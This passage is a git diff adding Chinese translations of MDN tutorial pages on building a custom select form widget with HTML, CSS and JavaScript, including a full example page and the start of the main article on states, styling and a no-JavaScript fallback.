+ <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> +</form></pre> + +<h3 id="CSS_内容">CSS 内容</h3> + +<pre class="brush: css">.widget select, +.no-widget .select { + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +} + +/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<h3 id="JavaScript_内容">JavaScript 内容</h3> + +<pre class="brush: js">// ------- // +// HELPERS // +// ------- // + +NodeList.prototype.forEach = function (callback) { + Array.prototype.forEach.call(this, callback); +} + +// -------------------- // +// Function definitions // +// -------------------- // + +function deactivateSelect(select) { + if (!select.classList.contains('active')) return; + + var optList = select.querySelector('.optList'); + + optList.classList.add('hidden'); + select.classList.remove('active'); +} + +function activeSelect(select, selectList) { + if (select.classList.contains('active')) return; + + selectList.forEach(deactivateSelect); + select.classList.add('active'); +}; + +function toggleOptList(select, show) { + var optList = select.querySelector('.optList'); + + optList.classList.toggle('hidden'); +} + +function highlightOption(select, option) { + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (other) { + other.classList.remove('highlight'); + }); + + option.classList.add('highlight'); +}; + +// ------------- // +// Event binding // +// ------------- // + +window.addEventListener("load", function () { + var form = document.querySelector('form'); + + form.classList.remove("no-widget"); + form.classList.add("widget"); +}); + +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + selectList.forEach(function (select) { + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (option) { + option.addEventListener('mouseover', function () { + highlightOption(select, option); + }); + }); + + select.addEventListener('click', function (event) { + toggleOptList(select); + }, false); + + select.addEventListener('focus', function (event) { + activeSelect(select, selectList); + }); + + select.addEventListener('blur', function (event) { + deactivateSelect(select); + }); + }); +});</pre> + +<h3 id="结果">结果</h3> + +<p>{{ EmbedLiveSample('Change_states') }}</p> diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_4/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_4/index.html new file mode 100644 index 0000000000..472102adb2 --- /dev/null +++ b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_4/index.html @@ -0,0 +1,294 @@ +--- +title: Example 4 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_4 +tags: + - HTML + - Web + - 表单 + - 高级 +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4 +--- +<p>这是解释 <a href="/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">如何构建自定义表单小部件</a> 的第四个示例。</p> + +<h2 id="Change_states" name="Change_states">改变状态</h2> + +<h3 id="HTML_内容">HTML 内容</h3> + +<pre class="brush: html"><form class="no-widget"> + <select name="myFruit"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> +</form></pre> + +<h3 id="CSS_内容">CSS 内容</h3> + +<pre class="brush: css">.widget select, +.no-widget .select { + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +} + +/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<h3 id="JavaScript_内容">JavaScript 内容</h3> + +<pre class="brush: js">// ------- // +// HELPERS // +// ------- // + +NodeList.prototype.forEach = function (callback) { + Array.prototype.forEach.call(this, callback); +} + +// -------------------- // +// Function definitions // +// -------------------- // + +function deactivateSelect(select) { + if (!select.classList.contains('active')) return; + + var optList = select.querySelector('.optList'); + + optList.classList.add('hidden'); + select.classList.remove('active'); +} + +function activeSelect(select, selectList) { + if (select.classList.contains('active')) return; + + selectList.forEach(deactivateSelect); + select.classList.add('active'); +}; + +function toggleOptList(select, show) { + var optList = select.querySelector('.optList'); + + optList.classList.toggle('hidden'); +} + +function highlightOption(select, option) { + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (other) { + other.classList.remove('highlight'); + }); + + option.classList.add('highlight'); +}; + +function updateValue(select, index) { + var nativeWidget = select.previousElementSibling; + var value = select.querySelector('.value'); + var optionList = select.querySelectorAll('.option'); + + nativeWidget.selectedIndex = index; + value.innerHTML = optionList[index].innerHTML; + highlightOption(select, optionList[index]); +}; + +function getIndex(select) { + var nativeWidget = select.previousElementSibling; + + return nativeWidget.selectedIndex; +}; + +// ------------- // +// Event binding // +// ------------- // + +window.addEventListener("load", function () { + var form = document.querySelector('form'); + + form.classList.remove("no-widget"); + form.classList.add("widget"); +}); + +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + selectList.forEach(function (select) { + var optionList = select.querySelectorAll('.option'); + + optionList.forEach(function (option) { + option.addEventListener('mouseover', function () { + highlightOption(select, option); + }); + }); + + select.addEventListener('click', function (event) { + toggleOptList(select); + }); + + select.addEventListener('focus', function (event) { + activeSelect(select, selectList); + }); + + select.addEventListener('blur', function (event) { + deactivateSelect(select); + }); + }); +}); + +window.addEventListener('load', function () { + var selectList = document.querySelectorAll('.select'); + + selectList.forEach(function (select) { + var optionList = select.querySelectorAll('.option'), + selectedIndex = getIndex(select); + + select.tabIndex = 0; + select.previousElementSibling.tabIndex = -1; + + updateValue(select, selectedIndex); + + optionList.forEach(function (option, index) { + option.addEventListener('click', function (event) { + updateValue(select, index); + }); + }); + + select.addEventListener('keyup', function (event) { + var length = optionList.length, + index = getIndex(select); + + if (event.keyCode === 40 && index < length - 1) { index++; } + if (event.keyCode === 38 && index > 0) { index--; } + + updateValue(select, index); + }); + }); +});</pre> + +<h3 id="结果">结果</h3> + +<p>{{ EmbedLiveSample('Change_states') }}</p> diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/index.html new file mode 100644 index 0000000000..24636e7858 --- /dev/null +++ b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/index.html @@ -0,0 +1,776 @@ +--- +title: 如何构建表单小工具 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets +tags: + - HTML + - 例子 + - 表单 + - 高级 +translation_of: Learn/Forms/How_to_build_custom_form_controls +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}</div> + +<p class="summary">在许多情况下,<a href="/en-US/docs/HTML/Forms/The_native_form_widgets" title="/en-US/docs/HTML/Forms/The_native_form_widgets">可用的 HTML 表单小组件</a><em>是不够的</em>。如果要在某些小部件(例如 {{HTMLElement("select")}}元素)上执行<a href="/en-US/docs/Advanced_styling_for_HTML_forms" title="/en-US/docs/Advanced_styling_for_HTML_forms">高级样式</a>,或者如果要提供自定义表现,则别无选择,只能构建自己的小部件。</p> + +<p>在本文中,我们会看到如何构建这样的组件。为此,我们将使用这样一个例子:重建 {{HTMLElement("select")}}元素。</p> + +<div class="note"> +<p><strong>注意:</strong> 我们将专注于构建小部件,而不是怎样让代码更通用或可复用;那会涉及一些非基础的JavaScript代码和未知环境下的DOM操作,这超过了这篇文章的范围。</p> +</div> + +<h2 id="设计_结构_和语义">设计, 结构, 和语义</h2> + +<p>在构建一个自定义控件之前,首先你要确切的知道你要什么。 这将为您节省宝贵的时间。 特别地,清楚地定义控件的所有状态非常重要。 为了做到这一点,从状态和行为表现都众所周知的现有小控件开始是很好的选择,这样你可以轻松的尽量模仿这些控件。</p> + +<p>在我们的示例中,我们将重建HTML<select>元素,这是我们希望实现的结果:</p> + +<p><img alt="The three states of a select box" src="/files/4481/custom-select.png" style="height: 135px; width: 366px;"></p> + +<p>上面图片显示了我们控件的三个主要状态:正常状态(左); 活动状态(中)和打开状态(右)。</p> + +<p>在行为方面,我们希望我们的控件像任何原生控件一样对鼠标和键盘都可用。 让我们从定义控件如何到达每个状态开始:</p> + +<dl> + <dt>以下情况控件将会呈现正常状态:</dt> + <dd> + <ul> + <li>页面加载</li> + <li>控件处于活动状态,但用户点击控件以外的任何位置</li> + <li>控件是活动状态,但用户使用键盘将焦点移动到另一个小部件</li> + </ul> + + <div class="note"> + <p><strong>注意:</strong> 在页面上移动焦点通常是通过按Tab键来完成的,但这并不是哪都通用的标准。 例如,在Safari中页面上的链接间的循环切换默认下是通过使用<a href="http://www.456bereastreet.com/archive/200906/enabling_keyboard_navigation_in_mac_os_x_web_browsers/">组合键Option + Tab</a>完成的。</p> + </div> + </dd> + <dt>以下情况控件将会呈现活动状态:</dt> + <dd> + <ul> + <li>用户点击</li> + <li>用户按下tab让控件获得了焦点。</li> + <li>控件呈现打开状态然后用户点击控件。</li> + </ul> + </dd> + <dt>以下情况控件将会呈现打开状态:</dt> + <dd> + <ul> + <li>控件在非打开状态时被用户点击。</li> + </ul> + </dd> +</dl> + +<p>我们知道如何改变状态后,定义如何改变小工具的值还很重要:</p> + +<dl> + <dt>以下情况控件的值将会被改变:</dt> + <dd> + <ul> + <li>控件在打开状态下用户点击一个选项</li> + <li>控件在活动状态下用户按下键盘上方向键或者下方向键</li> + </ul> + </dd> +</dl> + +<p>最后,让我们定义控件的选项将要怎么表现:</p> + +<ul> + <li>当控件在打开状态时,被选中的选项将被突出显示</li> + <li>当鼠标悬停在某个选项上时,该选项将被突出显示,并且之前突出显示的选项将返回正常的状态</li> +</ul> + +<p>对于我们的例子的目的,我们将就此结束;但是,如果你是一个认真的读者,你会注意到我们省略了一些东西,例如,你认为用户在小部件处于打开状态时点击tab键会发生什么?答案是:什么也不会发生。好吧,似乎很明显这就是正确的行为,但事实是,因为在我们的规范中没有定义这种情况,我们很容易忽略这种行为。在团队环境中尤其是这样,因为设计小部件行为的人与实现的人通常是不同的。</p> + +<p>另外一个有趣的例子是:当小部件处于打开状态时,用户按下键盘上方向键和下方向键将会发生什么?这个问题有些棘手,如果你认为活动状态和打开状态是完全不同的,那么答案就是“什么都不会发生”,因为我们没有定义任何在打开状态下键盘的交互行为。从另一个方面看,如果你认为活动状态和打开状态是有重叠的部分,那么控件的值可能会改变,但是被选中的选项肯定不会相应的进行突出显示,同样是因为我们没有定义在控件打开状态下的任何键盘交互事件(我们仅仅定义了控件打开会发生什么,而没有定义在其打开后会发生什么)</p> + +<p>在我们的例子中,缺失的规范是显而易见的,所以我们将着手处理他们,但是对于一些没有人想到去定义正确行为的小部件而言,这的确是一个问题。所以在设计阶段花费时间是值得的,因为如果你定义的行为不够好,或者忘记定义了一个行为,那么在用户开始实际使用时,将会很难去重新定义它们。如果你在定义时有疑问,请征询他人的意见,如果你有预算,请不要犹豫的去进行<a href="https://en.wikipedia.org/wiki/Usability_testing">用户可行性测试</a>,这个过程被称为UX design (User Experience <em>Design</em>用户体验设计),如果你想要深入的学习相关的内容,请查阅下面这些有用资源:</p> + +<ul> + <li><a href="http://www.uxmatters.com/" rel="external" title="http://www.uxmatters.com/">UXMatters.com</a></li> + <li><a href="http://uxdesign.com/" rel="external" title="http://uxdesign.com/">UXDesign.com</a></li> + <li><a href="http://uxdesign.smashingmagazine.com/" rel="external" title="http://uxdesign.smashingmagazine.com/">The UX Design section of SmashingMagazine</a></li> +</ul> + +<div class="note"> +<p><strong>注意: </strong>另外, 在绝大多数系统中,还有一种方法能够打开{{HTMLElement("select")}}元素来观察其所有的选项(这和用鼠标点击{{HTMLElement("select")}}元素是一样的)。通过Windows下的Alt + 向下箭头实现,在我们的例子中没有实现---但是这样做会很方便,因为鼠标点击事件就是由该原理实现的。</p> +</div> + +<h3 id="定义语义化的_HTML_结构">定义语义化的 HTML 结构</h3> + +<p>现在控件的基本功能已经决定了,可以开始构建自定义控件了。第一步是要确定 HTML 结构并给予一些基本的语义规则。第一步就是去确定它的HTML结构并给予一些基本的语义。重构{{HTMLElement("select")}}元素需要怎么做如下:</p> + +<pre class="brush: html"><!-- 这是我们小部件的主要容器. + tabindex属性是用来让用户聚焦在小部件上的. + 稍后我们会发现最好通过JavaScript来设定它的值. --> +<div class="select" tabindex="0"> + + <!-- 这个容器用来显示组件现在的值 --> + <span class="value">Cherry</span> + + <!-- 这个容器包含我们的组件的所有可用选项. + 因为他是一个列表,用ul元素是有意义的. --> + <ul class="optList"> + <!-- 每个选项只包含用来显示的值, + 稍后我们会知道如何处理和表单一起发送的真实值 --> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + +</div></pre> + +<p>注意类名的使用:不管实际使用了哪种底层HTML元素,它们都标识每个相关的部分。这很重要,因为这样做能确保我们的CSS和JavaScript不会和HTML结构强绑定,这样我们就可以在不破坏使用小部件的代码的情况下进行实现更改。比如,如果你希望增加一个等价的{{HTMLElement("optgroup")}}元素。</p> + +<h3 id="使用_CSS_创建外观">使用 CSS 创建外观</h3> + +<p>现在我们有了控件结构,我们可以开始设计我们的控件了。构建自定义控件的重点是能够完全按照我们的期望设置它的样式。为了达到这个目的,我们将 CSS部分的工作分为两部分:第一部分是让我们的控件表现得像一个{{HTMLElement("select")}}元素所必需的的CSS规则,第二部分包含了让组件看起来像我们所希望那样的精妙样式。</p> + +<h4 id="所需的样式">所需的样式</h4> + +<p>所需的样式是那些用以处理我们组件的三种状态的必须样式。</p> + +<pre class="brush: css">.select { + /* 这将为选项列表创建一个上下文定位 */ + position: relative; + + /* 这将使我们的组件成为文本流的一部分,同时又可以调整大小 */ + display : inline-block; +}</pre> + +<p>我们需要一个额外的类 <code>active</code> 来定义我们的组件处于其激活状态时的的界面外观。因为我们的组件是可以聚焦的, 我们通过{{cssxref(":focus")}} 伪类重复自定义样式来确保它们表现得一样。</p> + +<pre class="brush: css">.select .active, +.select:focus { + outline: none; + + /* 这里的 box-shadow 属性并非必须,但确保活动状态能看出来非常重要---我们 + 将其作为一个默认值,你可以随意地覆盖掉它. */ + box-shadow: 0 0 3px 1px #227755; +}</pre> + +<p>现在,让我们处理选项列表:</p> + +<pre class="brush: css">/* 这里的 .select 选择器是一个糖衣语法,用来确保我们定义的类是 + 在我们的组件里的那个。 */ +.select .optList { + /* 这可以确保我们的选项列表将会显示在值的下面,并且会处在 + HTML 流之外*/ + position : absolute; + top : 100%; + left : 0; +}</pre> + +<p>我们需要一个额外的类来处理选项列表隐藏时的情况。为了管理没有完全匹配的活动状态和打开状态之间的差异,这是有必要的。</p> + +<pre class="brush: css">.select .optList.hidden { + /* 这是一个以可访问形式隐藏列表的简单方法, + 对可访问性我们将在最后进一步拓展 */ + max-height: 0; + visibility: hidden; +}</pre> + +<h4 id="美化">美化</h4> + +<p>所以现在我们的基本功能已经就位,有趣的事情就可以开始了。下面是一个可行的简单的例子,和本文开头的截图是相对应的。不管怎样,你可以随意的体验一下看看能收获什么。</p> + +<pre class="brush: css">.select { + /* 出于可访问性方面的原因,所有尺寸都会由em值表示 + (用来确保用户在文本模式下使用浏览器缩放时组件的可缩放性). + 在大多数浏览器下的默认换算是1em == 16px. + 如果你对em和px的转换感到疑惑, 请参考http://riddle.pl/emcalc/ */ + font-size : 0.625em; /* 这个(=10px)是以em方式表达的这个环境里的字体大小 */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + /* 我们需要为将要添加的向下箭头准备一些额外的空间 */ + padding : .1em 2.5em .2em .5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : .2em solid #000; /* 2px */ + border-radius : .4em; /* 4px */ + box-shadow : 0 .1em .2em rgba(0,0,0,.45); /* 0 1px 2px */ + + /* 第一段声明是为了不支持线性梯度填充的浏览器准备的。 + 第二段声明是因为基于WebKit的浏览器没有预先定义它。 + 如果你想为过时的浏览器提供支持, 请参阅 http://www.colorzilla.com/gradient-editor/ */ + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + /* 因为值的宽度可能超过组件的宽度,我们需要确保他不会改变组件的宽度 */ + display : inline-block; + width : 100%; + overflow : hidden; + + vertical-align: top; + + /* 如果内容溢出了, 最好有一个恰当的缩写. */ + white-space : nowrap; + text-overflow: ellipsis; +}</pre> + +<p>我们不需要一个额外的元素来设计向下的箭头,而使用{{cssxref(":after")}} 伪类来替代。然而,这也可以通过使用一张加在<code>select</code> class上的简单的背景图像来实现。</p> + +<pre class="brush: css">.select:after { + content : "▼"; /* 我们使用了unicode 编码的字符 U+25BC; 参阅 http://www.utf8-chartable.de */ + position: absolute; + z-index : 1; /* 这对于防止箭头覆盖选项列表很重要 */ + top : 0; + right : 0; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + height : 100%; + width : 2em; /* 20px */ + padding-top : .1em; /* 1px */ + + border-left : .2em solid #000; /* 2px */ + border-radius: 0 .1em .1em 0; /* 0 1px 1px 0 */ + + background-color : #000; + color : #FFF; + text-align : center; +}</pre> + +<p>接下来,让我们定义选项列表的样式。</p> + +<pre class="brush: css">.select .optList { + z-index : 2; /* 我们明确的表示选项列表会始终与向下箭头重叠 */ + + /* 这会重置ul元素的默认样式 */ + list-style: none; + margin : 0; + padding: 0; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + /* 这会确保即使数值比组件小,选项列表仍能变得跟组件自身一样大*/ + min-width : 100%; + + /* 万一列表太长了, 它的内容会从垂直方向溢出(会自动添加一个竖向滚动条) + 但是水平方向不会(因为我们没有设定宽度, 列表会自适应宽度. 如果不能的话,内容会被截断) */ + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; + + border: .2em solid #000; /* 2px */ + border-top-width : .1em; /* 1px */ + border-radius: 0 0 .4em .4em; /* 0 0 4px 4px */ + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); /* 0 2px 4px */ + background: #f0f0f0; +}</pre> + +<p>对于选项,我们需要添加一个 <code>highlight</code> 类以便能标明用户将要选择的值或者已经选择的值。</p> + +<pre class="brush: css">.select .option { + padding: .2em .3em; /* 2px 3px */ +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<p>这是三种状态的结果:</p> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">基本状态</th> + <th scope="col" style="text-align: center;">活动状态</th> + <th scope="col" style="text-align: center;">打开状态</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("Basic_state",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}</td> + <td>{{EmbedLiveSample("Active_state",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}</td> + <td>{{EmbedLiveSample("Open_state",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1")}}</td> + </tr> + <tr> + <td colspan="3" style="text-align: center;"><a href="/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1" title="/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1">Check out the source code</a></td> + </tr> + </tbody> +</table> + +<h2 id="通过JavaScript让您的小部件动起来">通过JavaScript让您的小部件动起来</h2> + +<p>现在我们的设计和结构已经完成了。我们可以写些JavaScript代码来让这个部件真正生效。</p> + +<div class="warning"> +<p><strong>警告:</strong>下面的代码仅仅是教学性质的,并且不应该照搬使用。在许多方面,正如我们所看到的,这种方案不具有前瞻性,而且可能在旧浏览器上会不工作。这里面还有冗余的部分,在生产环境下,代码需要优化。</p> +</div> + +<div class="note"> +<p><strong>注意:</strong>创建可复用的组件可能是一件需要些技巧的事情。<a href="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html" rel="external" title="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/explainer/index.html">W3C 网络组件草案</a> 是对这类特定问题的答案之一。<a href="http://x-tags.org/" rel="external" title="http://x-tags.org/">X-Tag 项目 </a>是对这一规格的实验性实现;我们建议你看看它。</p> +</div> + +<h3 id="它为什么不生效?">它为什么不生效?</h3> + +<p>在我们开始之前,要记住一件和 JavaScript 有关的非常重要的事情:在浏览器中,<strong>这是一种不可靠的技术。</strong>当你构建一个自定义组件时,你会不得不得依赖于<strong> </strong>JavaScript,因为这是将所有的东西联系在一起的线索。但是,很多情况下,JavaScript 不能在浏览器中运行。</p> + +<ul> + <li>用户关掉了 JavaScript: 这是最不常见的情形。现在只有很少的人会关掉 JavaScript。</li> + <li>脚本没有加载。这是最常见的情形,特别是在移动端上,在那些网络非常不可靠的地方。</li> + <li>脚本是有问题的。你应该总是考虑这种可能性。</li> + <li>脚本和第三方脚本冲突。这可能会由用户使用的跟踪脚本和一些书签工具引发。</li> + <li>脚本与一个浏览器的拓展冲突,或者受其影响。 (比如 Firefox 的 <a href="https://addons.mozilla.org/fr/firefox/addon/noscript/" rel="external" title="https://addons.mozilla.org/fr/firefox/addon/noscript/">NoScript</a> 拓展 或者 Chrome 的 <a href="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn" rel="external" title="https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn">NotScripts</a> 拓展)。</li> + <li>用户在使用老旧的浏览器,而且你需要的一些功能没有被支持。当你使用一些最新的 API 时,这种情况会经常发生。</li> +</ul> + +<p>因为这些风险,认真考虑 JavaScript 不生效时会发生什么是很重要的。处理这个问题的细节超出了这篇文章的范围,因为这与你有多么想使你的脚本具有通用性和可复用性更加相关,不过我们将在我们的例子中考虑与其相关的基本内容。</p> + +<p>在我们的例子中,如果JavaScript代码没有运行,我们会回退到显示一个标准的 {{HTMLElement("select")}} 元素。为了实现这一点,我们需要两样东西。</p> + +<p>首先,在每次使用我们的自定义部件前,我们需要添加一个标准的 {{HTMLElement("select")}} 元素。实际上,为了能将来自我们自定义的表单组件和以及其他部分的表单数据发送出去,这个元素也是需要的。我们随后会详细的解释这一点。</p> + +<pre class="brush: html"><body class="no-widget"> + <form> + <select name="myFruit"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> + </form> + +</body></pre> + +<p>第二,我们需要两个新的 classes 来隐藏不需要的元素(即,当我们的脚本没有运行时的自定义组件, 或是脚本正常运行时的"真正的" {{HTMLElement("select")}} 元素)。注意默认情况下,我们的 HTML 代码会隐藏我们的自定义组件。</p> + +<pre class="brush: css">.widget select, +.no-widget .select { + /* 这个CSS选择器大体上说的是: + - 要么我们将body的class设置为"widget",隐藏真实的{{HTMLElement("select")}}元素 + - 或是我们没有改变body的class,这样body的class还是"no-widget", + 因此class为"select"的元素需要被隐藏 */ + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +}</pre> + +<p>接下来我们需要一个 JavaScript 开关来决定脚本是否运行。这个开关非常简单:如果页面加载时,我们的脚本运行了,它将会移除 <code>no-widget</code> class ,并添加 <code>widget</code> class,由此切换 {{HTMLElement("select")}} 元素和自定义组件的可视性。</p> + +<pre class="brush: js">window.addEventListener("load", function () { + document.body.classList.remove("no-widget"); + document.body.classList.add("widget"); +});</pre> + +<table> + <thead> + <tr> + <th scope="col" style="text-align: center;">无 JS</th> + <th scope="col" style="text-align: center;">有 JS</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{EmbedLiveSample("No_JS",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}</td> + <td>{{EmbedLiveSample("JS",120,130, "", "/Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2")}}</td> + </tr> + <tr> + <td colspan="2" style="text-align: center;"><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets/Example_2">Check out the source code</a></td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>注意:</strong> 如果你真的想让你的代码变得通用和可重用,最好不要做一个 class 选择器开关,而是通过添加一个组件 class 的方式来隐藏{{HTMLElement("select")}} 元素,并且动态地在每一个{{HTMLElement("select")}} 元素后面添加代表页面中自定义组件的 DOM 树。</p> +</div> + +<h3 id="让工作变得更简单">让工作变得更简单</h3> + +<p>在我们将要构建的代码之中,我们将会使用标准的 DOM API 来完成我们所要做的所有工作。尽管 DOM API 在浏览器中得到了更好支持,但是在旧的浏览器上还是会出现问题。( 特别是非常老的 Internet Explorer)。</p> + +<p>如果你想要避免旧浏览器带来的麻烦,这儿有两种解决方案:使用专门的框架,比如 <a href="http://jquery.com/" rel="external" title="http://jquery.com/">jQuery</a>, <a href="https://github.com/julienw/dollardom" rel="external" title="https://github.com/julienw/dollardom">$dom</a>, <a href="http://prototypejs.org/" rel="external" title="http://prototypejs.org/">prototype</a>, <a href="http://dojotoolkit.org/" rel="external" title="http://dojotoolkit.org/">Dojo</a>, <a href="http://yuilibrary.com/" rel="external" title="http://yuilibrary.com/">YUI</a>, 或者类似的框架,或者通过填充你想使用的缺失的特性 (这可以通过条件加载轻松完成——例如使用 <a href="http://yepnopejs.com/" rel="external" title="http://yepnopejs.com/">yepnope</a> 这样的库。</p> + +<p>我们打算使用的特性如下所示(按照风险程度从高到低排列):</p> + +<ol> + <li>{{domxref("element.classList","classList")}}</li> + <li>{{domxref("EventTarget.addEventListener","addEventListener")}}</li> + <li><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach">forEach</a></code> (这不是 DOM而是现代 JavaScript )</li> + <li>{{domxref("element.querySelector","querySelector")}} 和 {{domxref("element.querySelectorAll","querySelectorAll")}}</li> +</ol> + +<p>除了那些特定特性的的可用性以外,在开始之前,仍然存在一个问题。由函数{{domxref("element.querySelectorAll","querySelectorAll()")}} 返回的对象是一个{{domxref("NodeList")}} 而不是 <code><a 